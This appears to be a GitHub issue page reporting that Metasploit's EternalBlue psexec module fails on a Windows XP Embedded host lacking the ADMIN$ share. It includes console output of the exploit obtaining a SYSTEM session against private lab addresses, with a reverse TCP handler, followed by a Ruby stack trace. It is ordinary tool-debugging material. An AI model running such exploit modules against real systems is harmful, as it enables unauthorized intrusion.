windows/smb/ms17_010_psexec (EternalBlue) module fails on Vulnerable Windows XP embedded instance #19535
Comments
It seems like the default share used by the exploit ( |
|
Here's some debugtrace output: ADMIN$IPC$Would it fail earlier if powershell is not installed/enabled on target? |
|
But are the share |
|
Yes, the IPC$ one is, ADMIN$ does not exist however. |
|
Hi! This issue has been left open with no activity for a while now. We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
github-actions
bot
added
the
Stale
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Steps to reproduce
How'd you do it?
3 . run the module and observe the error
This section should also tell us any relevant information about the
environment; for example, if an exploit that used to work is failing,
tell us the victim operating system and service versions.
Were you following a specific guide/tutorial or reading documentation?
If yes link the guide/tutorial or documentation you were following here, otherwise you may omit this section.
Expected behavior
What should happen?
Eternalblue module should open a normal session
Current behavior
What happens instead?
Error on receiving smb informations from target
Metasploit version
msf6 exploit(windows/smb/ms17_010_psexec) > version
Framework: 6.4.20-dev
Console : 6.4.20-dev
Additional Information
If your version is less than
5.0.96, please update to the latest version and ensure your issue is still present.If the issue is encountered within
msfconsole, please run thedebugcommand using the instructions below. If the issue is encountered outisdemsfconsole, or the issue causesmsfconsoleto crash on startup, please delete this section.msfconsoleset loglevel 3debugcommandmsf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Exploiting target 10.10.10.1
[] Started reverse TCP handler on 10.128.32.72:4444
'[] 10.10.10.1:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[-] 10.10.10.1:445 - Unable to find accessible named pipe!
[] Exploiting target 10.10.10.2
[] Started reverse TCP handler on 10.128.32.72:4444
[] 10.10.10.2:445 - Target OS: Windows 5.1
[] 10.10.10.2:445 - Filling barrel with fish... done
[] 10.10.10.2:445 - <---------------- | Entering Danger Zone | ---------------->
[] 10.10.10.2:445 - [] Preparing dynamite...
[] 10.10.10.2:445 - [] Trying stick 1 (x86)...Boom!
[] 10.10.10.2:445 - [+] Successfully Leaked Transaction!
[] 10.10.10.2:445 - [+] Successfully caught Fish-in-a-barrel
[] 10.10.10.2:445 - <---------------- | Leaving Danger Zone | ---------------->
[] 10.10.10.2:445 - Reading from CONNECTION struct at: 0x85102a58
[] 10.10.10.2:445 - Built a write-what-where primitive...
[+] 10.10.10.2:445 - Overwrite complete... SYSTEM session obtained!
[-] 10.10.10.2:445 - Rex::Proto::SMB::Exceptions::ErrorCode
[-] 10.10.10.2:445 - The server responded with error: STATUS_BAD_NETWORK_NAME (Command=117 WordCount=0)
[-] 10.10.10.2:445 - /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:256:in
smb_recv_parse' /usr/share/metasploit-framework/lib/rex/proto/smb/client.rb:1126:intree_connect'/usr/share/metasploit-framework/lib/rex/proto/smb/simple_client.rb:178:in
connect' /usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb:207:inpowershell_installed?'/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:154:in
smb_pwn' /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:129:inexploit'/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:224:in
job_run_proc' /usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:177:inrun'/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:144:in
exploit_simple' /usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:172:inexploit_simple'/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:45:in
exploit_single' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:166:inblock in cmd_exploit'/usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:68:in
block in each' /usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:163:in<<'/usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:163:in
block (3 levels) in parse' /usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/rex-socket-0.1.57/lib/rex/socket/range_walker.rb:234:ineach_host'/usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:158:in
block (2 levels) in parse' /usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:120:ineach'/usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:120:in
block in parse' /usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:67:ineach'/usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:67:in
each' /usr/share/metasploit-framework/lib/msf/core/rhosts_walker.rb:67:ineach'/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:157:in
with_index' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:157:incmd_exploit'/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in
run_command' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:inblock in run_single'/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in
each' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:inrun_single'/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in
block in run' /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:inblock in with_history_manager_context'/usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in
with_context' /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:inwith_history_manager_context'/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in
run' /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:instart'/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in
start' /usr/bin/msfconsole:23:in[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_psexec) > debug
Please provide the below information in any Github issues you open. New issues can be opened here https://github.com/rapid7/metasploit-framework/issues/new/choose
ENSURE YOU HAVE REMOVED ANY SENSITIVE INFORMATION BEFORE SUBMITTING!
===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===
Module/Datastore
The following global/module datastore, and database setup was configured before the issue occurred:
Collapse
Database Configuration
The database contains the following information:
Collapse
Framework Configuration
The features are configured as follows:
Collapse
History
The following commands were ran during the session and before this issue occurred:
Collapse
Framework Errors
The following framework errors occurred before the issue occurred:
Collapse
Web Service Errors
The following web service errors occurred before the issue occurred:
Collapse
Framework Logs
The following framework logs were recorded before the issue occurred:
Collapse
Web Service Logs
The following web service logs were recorded before the issue occurred:
Collapse
Version/Install
The versions and install method of your Metasploit setup:
Collapse
Additional File: NMAP Scan of the affected Host
NMAPOutputRedacted.txt
The text was updated successfully, but these errors were encountered: